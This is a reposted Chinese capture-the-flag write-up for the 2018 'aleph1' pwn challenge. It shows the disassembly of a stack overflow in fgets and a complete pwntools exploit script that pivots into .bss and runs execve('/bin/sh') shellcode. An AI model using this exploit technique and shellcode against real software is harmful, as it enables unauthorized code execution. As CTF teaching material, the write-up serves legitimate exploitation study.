首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

铁人三项2018 pwnaleph1Writeup

拿到程序后首先看看程序的漏洞缓解措施,发现没有开启任何缓解措施。

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x400000)

RWX: Has RWX segments程序分析接着,我们用IDA载入程序看看

.text:00000000004005CA public main

.text:00000000004005CA main proc near; DATA XREF: _start+1D↑o

.text:00000000004005CA

.text:00000000004005CA yolo=byte ptr -400h

.text:00000000004005CA

.text:00000000004005CA; __unwind {

.text:00000000004005CA pushrbp

.text:00000000004005CB movrbp,rsp

.text:00000000004005CE subrsp, 400h

.text:00000000004005D5 movrdx,cs:__bss_start; stream

.text:00000000004005DC learax, [rbp+yolo]

.text:00000000004005E3 movesi, 539h; n

.text:00000000004005E8 movrdi,rax; s

.text:00000000004005EB call_fgets

.text:00000000004005F0 moveax, 0

.text:00000000004005F5 leave

.text:00000000004005F6 retn

.text:00000000004005F6; } // starts at 4005CA

.text:00000000004005F6 main endp程序很简单,漏洞也很明显,占0x400大小,却可以输入0x539大小的数据。很明显的栈溢出,但是却不好利用。因为程序使用来完成输入的,我们来看看的声明,而程序中的第三个参数用的是标准输入,而这个存在了段中。我们没办法使用来传到中。如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入,也就没法完成利用。此时,我选择第一次栈溢出用来覆盖返回地址,因为之后的代码会帮助我们完成参数的传递。那么接下来的难点是控制的第二个参数。不过这不是问题,因为存在栈溢出,所以我们可以控制那么也就可以控制第二个参数了。我选择的是也就是说,数据会写入到。为了不覆盖掉段中的,所以偏移了大小。第二次输入时,我们就可以部署到段中,并控制返回地址到的地址完成利用。Explolit利用脚本:

frompwnimport*

sc_addr=0x601030+0x20

offset=1024

r=process('./aleph1')

payload=offset*'a'

payload+=p64(sc_addr+0x400)

payload+=p64(0x4005d5)

raw_input('0')

r.sendline(payload)

raw_input('1')

payload='\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

payload=payload.ljust(offset+8,'\x00')

payload+=p64(sc_addr)

r.sendline(payload)

r.interactive()相关的代码及其题目https://github.com/we4p0x/Writeup/blob/master/tiesan2018

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180611G1CSJB00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券